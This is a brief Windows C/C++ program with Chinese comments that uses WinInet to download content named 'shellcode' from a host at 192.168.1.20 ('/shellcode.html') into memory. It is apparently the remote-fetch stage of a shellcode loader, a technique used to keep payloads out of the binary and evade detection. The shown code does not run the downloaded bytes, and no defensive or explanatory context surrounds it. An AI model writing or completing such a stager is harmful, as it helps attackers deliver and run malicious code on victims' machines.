#include <stdio.h> #include <Windows.h> #include <WinInet.h> #pragma comment(lib, "WinInet.lib")
char * GetUrlPage(char *URL, char *SubPath) { HINTERNET hInternet, hConnect, hRequest = NULL; DWORD dwOpenRequestFlags, dwRet = 0; unsigned char *pResponseHeaderIInfo = NULL; DWORD dwResponseHeaderIInfoSize = 2048; BYTE *pBuf = NULL; DWORD dwBufSize = 64 * 2048;
// 建立会话 hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); // 建立连接 hConnect = ::InternetConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0); if (NULL == hConnect) return NULL;
// 打开并发送HTTP请求 dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;
hRequest = HttpOpenRequest(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
// 发送请求 HttpSendRequest(hRequest, NULL, 0, NULL, 0);
// 接收响应的报文信息头(Get Response Header) pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize]; RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize); HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL); printf("响应头: %s \n", pResponseHeaderIInfo); pBuf = new BYTE[dwBufSize];
RtlZeroMemory(pBuf, dwBufSize); InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet); return (char *)pBuf; }
int main(int argc, char *argv[]) { char *shellcode = GetUrlPage("192.168.1.20", "/shellcode.html"); return 0; }
|